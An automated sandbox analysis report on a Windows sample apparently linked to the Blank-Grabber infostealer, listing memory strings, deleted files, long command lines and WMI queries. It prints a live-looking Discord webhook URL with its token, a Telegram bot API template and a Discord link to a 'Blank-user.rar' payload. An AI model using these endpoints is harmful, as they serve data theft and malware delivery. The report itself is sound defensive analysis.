Source: e45AiBoV6X.exe, 00000001.00000002.1985865273.000002290ABD0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot%s/%s
Source: e45AiBoV6X.exe, 00000001.00000003.1737962757.000002290ADC2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot%s/%s)
Source: e45AiBoV6X.exe, 00000001.00000003.1881191624.000002290B113000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mo
Source: e45AiBoV6X.exe, 00000001.00000002.1987882294.000002290B4E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://canary.discord.com/api/webhooks/1248781366489907321/ufb6qyCKcRyE7syQfJqh1lNQR64inZBSWaeenuFV
Source: e45AiBoV6X.exe, 00000001.00000003.1982906328.000002290B033000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000001.00000003.1983434642.000002290B038000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.discordapp.com/attachments/1248781326262468744/1264315028736180234/Blank-user.rar?ex=66
Source: e45AiBoV6X.exe, 00000001.00000003.1833183214.000002290B14E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: e45AiBoV6X.exe, 00000001.00000003.1833183214.000002290B14E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: e45AiBoV6X.exe, 00000001.00000003.1833183214.000002290B14E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: powershell.exe, 00000025.00000002.1862744633.000002969007C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000025.00000002.1862744633.000002969007C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000025.00000002.1862744633.000002969007C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: e45AiBoV6X.exe, 00000000.00000003.1719392220.000001F32EEDF000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000000.00000003.1720241953.000001F32EEEC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://d.symcb.com/cps0%
Source: e45AiBoV6X.exe, 00000000.00000003.1719392220.000001F32EEDF000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000000.00000003.1720241953.000001F32EEEC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://d.symcb.com/rpa0
Source: e45AiBoV6X.exe, 00000000.00000003.1719392220.000001F32EEDF000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000000.00000003.1720241953.000001F32EEEC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://d.symcb.com/rpa0.
Source: e45AiBoV6X.exe, 00000001.00000002.1985865273.000002290ABD0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://discord.com/api/v9/users/
Source: e45AiBoV6X.exe, 00000001.00000002.1987458278.000002290B097000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://discordapp.com/api/v
Source: e45AiBoV6X.exe, 00000001.00000003.1739482392.000002290AE26000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000001.00000003.1738014114.000002290AE01000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000001.00000003.1737962757.000002290ADC2000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000001.00000002.1985865273.000002290ABD0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://discordapp.com/api/v9/users/
Source: e45AiBoV6X.exe, 00000001.00000003.1833183214.000002290B14E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: e45AiBoV6X.exe, 00000001.00000003.1833183214.000002290B14E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: e45AiBoV6X.exe, 00000001.00000003.1833183214.000002290B14E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: e45AiBoV6X.exe, 00000001.00000002.1987655713.000002290B2D0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://foss.heptapod.net/pypy/pypy/-/issues/3539
Source: e45AiBoV6X.exe, 00000001.00000002.1985865273.000002290ABD0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Blank-c/Blank-Grabber
Source: e45AiBoV6X.exe, 00000001.00000003.1739482392.000002290AE26000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000001.00000003.1738014114.000002290AE01000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000001.00000003.1737962757.000002290ADC2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Blank-c/Blank-Grabberi
Source: e45AiBoV6X.exe, 00000001.00000003.1739482392.000002290AE26000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000001.00000003.1738014114.000002290AE01000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000001.00000003.1737962757.000002290ADC2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Blank-c/Blank-GrabberrV
Source: e45AiBoV6X.exe, 00000001.00000003.1737388193.000002290B2D2000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000001.00000003.1737288766.000002290ADD1000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000001.00000003.1737768568.000002290ADCC000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000001.00000003.1737839333.000002290ADD1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Blank-c/BlankOBF
Source: powershell.exe, 00000025.00000002.1843488107.000002968022A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: e45AiBoV6X.exe, 00000001.00000002.1984931538.000002290897F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Unidata/MetPy/blob/a3424de66a44bf3a92b0dcacf4dff82ad7b86712/src/metpy/plots/wx_sy
Source: e45AiBoV6X.exe, 00000001.00000002.1985202264.000002290A618000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/cpython/blob/3.9/Lib/importlib/_bootstrap_external.py#L679-L688
Source: e45AiBoV6X.exe, 00000001.00000002.1984931538.000002290897F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/abc.py
Source: e45AiBoV6X.exe, 00000001.00000002.1984931538.000002290897F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/reader
Source: e45AiBoV6X.exe, 00000001.00000002.1984931538.000002290897F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/tensorflow/datasets/blob/master/tensorflow_datasets/core/utils/resource_utils.py#
Source: e45AiBoV6X.exe, 00000001.00000002.1987655713.000002290B2D0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/urllib3/urllib3/issues/2192#issuecomment-821832963
Source: e45AiBoV6X.exe, 00000001.00000002.1986388661.000002290AF7E000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000001.00000002.1985975693.000002290ACD0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/urllib3/urllib3/issues/2513#issuecomment-1152559900.
Source: e45AiBoV6X.exe, 00000001.00000002.1987767316.000002290B3D0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/urllib3/urllib3/issues/2920
Source: e45AiBoV6X.exe, 00000001.00000002.1987767316.000002290B3D0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/urllib3/urllib3/issues/29207
Source: powershell.exe, 00000025.00000002.1843488107.0000029681269000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: e45AiBoV6X.exe, 00000001.00000003.1984164140.000002290AF88000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://google.com/
Source: e45AiBoV6X.exe, 00000001.00000002.1986630728.000002290AF8B000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000001.00000003.1984164140.000002290AF88000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://google.com/mail
Source: e45AiBoV6X.exe, 00000001.00000002.1985469081.000002290AA69000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://google.com/mail/
Source: e45AiBoV6X.exe, 00000001.00000003.1737962757.000002290ADC2000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000001.00000002.1985865273.000002290ABD0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://gstatic.com/generate_204
Source: e45AiBoV6X.exe, 00000001.00000003.1785007830.000002290AEBB000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000001.00000002.1986264729.000002290AEB5000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000001.00000003.1764714930.000002290AEB7000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000001.00000003.1881510721.000002290AEB4000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000001.00000003.1983212942.000002290AEB4000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000001.00000003.1835081648.000002290AEBB000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000001.00000003.1789596748.000002290AEBB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://html.spec.whatwg.org/multipage/
Source: e45AiBoV6X.exe, 00000001.00000003.1984164140.000002290AF88000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://httpbin.org/
Source: e45AiBoV6X.exe, 00000001.00000002.1987306791.000002290B039000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000001.00000003.1982906328.000002290B033000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000001.00000002.1986949781.000002290B00B000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000001.00000002.1986903181.000002290AFF2000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000001.00000003.1984419770.000002290AFF0000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000001.00000003.1982906328.000002290B00B000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000001.00000003.1983434642.000002290B038000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000001.00000003.1983989604.000002290AFCF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://images-ext-1.discordapp.net/external/etSU0hGkd0ttMXA41AUjUl74oI1ajbez8WS2N-KLvK4/https/raw.g
Source: e45AiBoV6X.exe, 00000001.00000002.1988820175.000002290BF40000.00000004.00001000.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000001.00000003.1982362710.000002290B8E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com
Source: e45AiBoV6X.exe, 00000001.00000002.1988000626.000002290B698000.00000004.00001000.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000001.00000002.1988820175.000002290BF4C000.00000004.00001000.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000001.00000003.1982362710.000002290B8E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com
Source: e45AiBoV6X.exe, 00000001.00000003.1982906328.000002290B033000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000001.00000003.1983434642.000002290B038000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://media.discordapp.net/attachments/1248781326262468744/1264315028736180234/Blank-user.rar?ex=
Source: powershell.exe, 00000006.00000002.1937080762.00000219519F7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000025.00000002.1843488107.0000029681972000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000025.00000002.1862744633.00000296901BF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000025.00000002.1862744633.000002969007C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: e45AiBoV6X.exe, 00000001.00000002.1988543492.000002290B7C2000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000001.00000002.1985865273.000002290ABD0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://o64374.ingest.sentry.io/api/5441894/security/?sentry_key=8fbbce30bf5244ec9429546beef21870
Source: e45AiBoV6X.exe, 00000001.00000002.1985975693.000002290ACD0000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000001.00000002.1987882294.000002290B4E0000.00000004.00001000.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000001.00000003.1982906328.000002290B006000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000001.00000002.1988543492.000002290B7C2000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000001.00000002.1985865273.000002290ABD0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://o64374.ingest.sentry.io;
Source: powershell.exe, 00000025.00000002.1843488107.0000029681606000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneget.org
Source: powershell.exe, 00000025.00000002.1843488107.0000029681606000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneget.orgX
Source: e45AiBoV6X.exe, 00000001.00000002.1992435238.00007FFDFB77F000.00000040.00000001.01000000.00000004.sdmp	String found in binary or memory: https://python.org/dev/peps/pep-0263/
Source: e45AiBoV6X.exe, 00000001.00000002.1985865273.000002290ABD0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/Blank-c/Blank-Grabber/main/.github/workflows/image.png
Source: e45AiBoV6X.exe, 00000001.00000003.1739482392.000002290AE26000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000001.00000003.1738014114.000002290AE01000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000001.00000003.1737962757.000002290ADC2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/Blank-c/Blank-Grabber/main/.github/workflows/image.pngz
Source: e45AiBoV6X.exe, 00000000.00000003.1719392220.000001F32EEDF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sectigo.com/CPS0
Source: e45AiBoV6X.exe, 00000001.00000003.1791355053.000002290B121000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000001.00000003.1881624103.000002290B043000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000001.00000003.1982906328.000002290B043000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000001.00000002.1987306791.000002290B043000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000001.00000003.1833541794.000002290B043000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000001.00000003.1777566420.000002290B121000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000001.00000003.1983434642.000002290B043000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org
Source: e45AiBoV6X.exe, 00000001.00000003.1764894979.000002290B065000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000001.00000003.1766242664.000002290B164000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000001.00000003.1764223855.000002290B164000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: e45AiBoV6X.exe, 00000001.00000003.1764894979.000002290B065000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefox
Source: e45AiBoV6X.exe, 00000001.00000003.1830286193.000002290B15C000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000001.00000003.1829771493.000002290BB8B000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000001.00000003.1880836585.000002290BB8B000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000001.00000002.1986388661.000002290AF60000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: e45AiBoV6X.exe, 00000001.00000003.1830286193.000002290B15C000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000001.00000003.1829771493.000002290BB8B000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000001.00000003.1880836585.000002290BB8B000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000001.00000002.1986388661.000002290AF60000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: e45AiBoV6X.exe, 00000001.00000002.1984931538.000002290897F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/rfc2388#section-4.4
Source: e45AiBoV6X.exe, 00000001.00000002.1986630728.000002290AF8B000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000001.00000002.1985975693.000002290ACD0000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000001.00000003.1984164140.000002290AF88000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://twitter.com/
Source: e45AiBoV6X.exe, 00000001.00000002.1987767316.000002290B3D0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#https-proxy-error-http-proxy
Source: e45AiBoV6X.exe, 00000001.00000002.1987655713.000002290B2D0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#tls-warnings
Source: e45AiBoV6X.exe, 00000001.00000002.1988000626.000002290B698000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://weibo.com/
Source: e45AiBoV6X.exe, 00000001.00000002.1988000626.000002290B678000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.aliexpress.com/
Source: e45AiBoV6X.exe, 00000001.00000002.1988000626.000002290B644000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.ca/
Source: e45AiBoV6X.exe, 00000001.00000002.1988000626.000002290B644000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.co.uk/
Source: e45AiBoV6X.exe, 00000001.00000002.1988000626.000002290B644000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/
Source: e45AiBoV6X.exe, 00000001.00000002.1988000626.000002290B600000.00000004.00001000.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000001.00000002.1988000626.000002290B644000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.de/
Source: e45AiBoV6X.exe, 00000001.00000002.1988000626.000002290B644000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.fr/
Source: e45AiBoV6X.exe, 00000001.00000002.1988000626.000002290B644000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.avito.ru/
Source: e45AiBoV6X.exe, 00000000.00000003.1718378444.000001F32EEDF000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000000.00000003.1718073686.000001F32EEDF000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000000.00000003.1718378444.000001F32EEEC000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000000.00000003.1718495170.000001F32EEDF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.digicert.com/CPS0
Source: e45AiBoV6X.exe, 00000001.00000003.1833183214.000002290B14E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: e45AiBoV6X.exe, 00000001.00000002.1988000626.000002290B698000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/
Source: e45AiBoV6X.exe, 00000001.00000003.1833183214.000002290B14E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: e45AiBoV6X.exe, 00000001.00000002.1988000626.000002290B678000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.leboncoin.fr/
Source: e45AiBoV6X.exe, 00000001.00000003.1791355053.000002290B121000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000001.00000002.1987767316.000002290B3D0000.00000004.00001000.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000001.00000002.1988000626.000002290B6E0000.00000004.00001000.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000001.00000003.1836907759.000002290B04E000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000001.00000003.1982906328.000002290B043000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000001.00000003.1803278420.000002290B055000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000001.00000002.1987306791.000002290B043000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000001.00000003.1833541794.000002290B043000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000001.00000003.1777566420.000002290B121000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000001.00000003.1983434642.000002290B043000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
Source: e45AiBoV6X.exe, 00000001.00000003.1881624103.000002290B043000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000001.00000003.1764894979.000002290B047000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000001.00000003.1982906328.000002290B043000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000001.00000002.1987306791.000002290B043000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000001.00000003.1833541794.000002290B043000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000001.00000003.1983434642.000002290B043000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/
Source: e45AiBoV6X.exe, 00000001.00000003.1764894979.000002290B065000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: e45AiBoV6X.exe, 00000001.00000003.1764894979.000002290B065000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000001.00000003.1766242664.000002290B164000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000001.00000003.1764223855.000002290B164000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: e45AiBoV6X.exe, 00000001.00000003.1764894979.000002290B065000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: e45AiBoV6X.exe, 00000001.00000002.1987767316.000002290B3D0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_c
Source: e45AiBoV6X.exe, 00000001.00000003.1764894979.000002290B065000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: e45AiBoV6X.exe, 00000001.00000003.1764894979.000002290B047000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/media/img/favicons/mozilla/favicon.d25d81d39065.icox
Source: e45AiBoV6X.exe, 00000001.00000002.1988820175.000002290BF48000.00000004.00001000.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000001.00000003.1982362710.000002290B8E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com
Source: e45AiBoV6X.exe, 00000001.00000002.1988000626.000002290B698000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.olx.pl/
Source: e45AiBoV6X.exe, 00000000.00000003.1718495170.000001F32EEDF000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000001.00000002.1991539153.00007FFDFB356000.00000004.00000001.01000000.00000010.sdmp, e45AiBoV6X.exe, 00000001.00000002.1992103361.00007FFDFB432000.00000004.00000001.01000000.0000000F.sdmp	String found in binary or memory: https://www.openssl.org/H
Source: e45AiBoV6X.exe, 00000000.00000003.1717679887.000001F32EEDF000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000001.00000003.1736201846.000002290AA3D000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000001.00000003.1737797560.000002290AA3D000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000001.00000003.1736689465.000002290AA40000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000001.00000003.1737369965.000002290AA3D000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000001.00000003.1725631506.000002290AA3D000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000001.00000002.1985865273.000002290ABD0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.python.org/dev/peps/pep-0205/
Source: e45AiBoV6X.exe, 00000001.00000002.1985753646.000002290AAD0000.00000004.00001000.00020000.00000000.sdmp, base_library.zip.0.dr	String found in binary or memory: https://www.python.org/download/releases/2.3/mro/.
Source: e45AiBoV6X.exe, 00000001.00000002.1986630728.000002290AF8B000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000001.00000003.1984164140.000002290AF88000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.rfc-editor.org/rfc/rfc8259#section-8.1
Source: e45AiBoV6X.exe, 00000001.00000002.1988000626.000002290B644000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.wykop.pl/
Source: e45AiBoV6X.exe, 00000001.00000002.1988000626.000002290B698000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.zhihu.com/
Source: e45AiBoV6X.exe, 00000001.00000002.1986630728.000002290AF8B000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000001.00000003.1984164140.000002290AF88000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://yahoo.com/

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Window created: window name: CLIPBRDWNDCLASS

Spam, unwanted Advertisements and Ransom Demands

Modifies existing user documents (likely ransomware behavior)

Source: C:\Users\user\Desktop\e45AiBoV6X.exe	File deleted: C:\Users\user\AppData\Local\Temp\ ? ?? \Common Files\Desktop\RAYHIWGKDI.mp3	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	File deleted: C:\Users\user\AppData\Local\Temp\ ? ?? \Common Files\Desktop\DVWHKMNFNN.docx	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	File deleted: C:\Users\user\AppData\Local\Temp\ ? ?? \Common Files\Desktop\DVWHKMNFNN.docx	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	File deleted: C:\Users\user\AppData\Local\Temp\ ? ?? \Common Files\Desktop\NIKHQAIQAU.png	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	File deleted: C:\Users\user\AppData\Local\Temp\ ? ?? \Common Files\Desktop\NIKHQAIQAU.png	Jump to behavior

Source: cmd.exe

Process created: 46

System Summary

Very long command line found

Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Process created: Commandline size = 3647
Source: C:\Windows\System32\cmd.exe	Process created: Commandline size = 3615
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Process created: Commandline size = 3647	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: Commandline size = 3615

Writes or reads registry keys via WMI

Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
